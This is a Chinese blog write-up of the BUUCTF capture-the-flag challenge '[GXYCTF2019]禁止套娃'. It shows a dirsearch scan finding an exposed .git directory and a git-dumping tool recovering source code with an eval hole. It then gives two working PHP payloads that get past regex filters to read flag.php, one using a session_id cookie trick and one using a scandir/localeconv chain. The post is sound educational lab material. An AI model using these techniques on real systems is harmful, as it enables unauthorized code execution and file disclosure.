当前位置:网站首页>BUUCTF WEB [GXYCTF2019]禁止套娃
BUUCTF WEB [GXYCTF2019]禁止套娃
2022-04-23 12:27:00 【Y1Daa】
BUUCTF WEB [GXYCTF2019]禁止套娃
-
没有任何提示,使用dirsearch扫描
# Dirsearch started Fri Apr 22 02:23:09 2022 as: ./dirsearch.py -u http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/ --delay=0.5 -t 3 301 185B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git -> REDIRECTS TO: http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn/.git/ 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/ 200 267B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/COMMIT_EDITMSG 200 23B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/HEAD 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/branches/ 200 92B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/config 200 73B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/description 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/hooks/ ......扫描到很多有关.git文件夹的路径,怀疑是.git泄露
-
使用scrabble扫描
./scrabble http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81 hint: Using 'master' as the name for the initial branch. This default branch name hint: is subject to change. To configure the initial branch name to use in all hint: of your new repositories, which will suppress this warning, call: hint: hint: git config --global init.defaultBranch <name> hint: hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and hint: 'development'. The just-created branch can be renamed via this command: hint: hint: git branch -m <name> Initialized empty Git repository in /root/Tools/scrabble/.git/ parseCommit e729e0b15f06da388b0e634afffd19b8e17b572a downloadBlob e729e0b15f06da388b0e634afffd19b8e17b572a parseTree 964071070547c4dda8cf5e14da26e4d7b7aeeeb5 downloadBlob 964071070547c4dda8cf5e14da26e4d7b7aeeeb5 downloadBlob 7169422bf0676b5369d25776f03961e158428c90 HEAD is now at e729e0b init扫描到了index.php
<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?> -
第一层过滤
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))过滤了一些PHP伪协议
-
第二层过滤
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))这里的
(?R)表示引用当前的表达式,(?R)?表示可以有零次或一次引用,可以匹配print(echo(1))等由字符和括号嵌套组成的字符串
-
第三层过滤
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))过滤了一些关键字
方法1 session_id
?exp=highlight_file(session_id(session_start()));
同时抓包在Cookie中设置PHPSESSID
PHPSESSID=flag.php
方法2 scandir()
exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
current(localeconv())会返回.,然后使用scandir()函数扫描当前文件夹
localeconv()函数会返回包含本地数字及货币格式信息的数组,这个数组的第一个元素是.
current()函数返回数组中的当前元素的值,每个数组的初始指针都指向数组的第一个元素
array_reverse()函数以相反的顺序返回数组
next()函数将内部指针指向数组中的下一个元素并输出
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_51412071/article/details/124349048
边栏推荐
- Uni app native app local packaging integrated Aurora push (jg-jpush) detailed tutorial
- Next. JS static data generation and server-side rendering
- On lambda powertools typescript
- CGC: contractual graph clustering for community detection and tracking
- Nativeformysql connects to MySQL 8 prompt: 1251 - client does not support authentication protocol
- Force buckle - 70 climb stairs
- How do programmers finalize nucleic acid statistics with 130 lines of code
- 5-minute NLP: text to text transfer transformer (T5) unified text to text task model
- Lesson 25 static member variables of classes
- 力扣刷题之完全二叉树的节点个数
猜你喜欢

Debug Jest test cases in VSCode, debug Jest test cases in VSCode, middle note basedir=$(dirname "$" (echo "$0" sed -e -e, s, \ \, / "-e").

网站首页文件被攻击篡改的形式有哪些

IDEA 数据库插件Database Navigator 插件

Introduction to metalama 4 Use fabric to manipulate items or namespaces

STM32控制步进电机(ULN2003+28byj)

一个平面设计师的异想世界|ONES 人物

A graphic designer's fantasy world | ones characters

XinChaCha Trust SSL Organization Validated

【vulnhub靶场】-dc2

Force buckle - 70 climb stairs
随机推荐
Nativeformysql connects to MySQL 8 prompt: 1251 - client does not support authentication protocol
How much does software testing help reduce program bugs?
On using go language to create websocket service
Everything can be expected in the future | one 2022 campus recruitment officially opened
第二十四课 经典问题解析
Fastjson 2 is coming, the performance continues to improve, and it can fight for another ten years
uni-app 原生APP-本地打包集成极光推送(JG-JPUSH)详细教程
Fabric 1.0 source code analysis (33) implementation of peer channel command and subcommand
Introduction to metalama 4 Use fabric to manipulate items or namespaces
Qt一个进程运行另一个进程
Windows2008系统如何切换PHP版本
论文解读(CGC)《CGC: Contrastive Graph Clustering for Community Detection and Tracking》
程序员如何用130行代码敲定核酸统计
[wechat applet] Z-index is invalid
AD20补充笔记3—快捷键+持续更新
软件测试对于减少程序BUG有多大帮助?
如何防止网站被黑客入侵篡改
Force buckle - 1137 Nth teponacci number
Lesson 25 static member variables of classes
编程辅助工具推荐:图片工具snipaste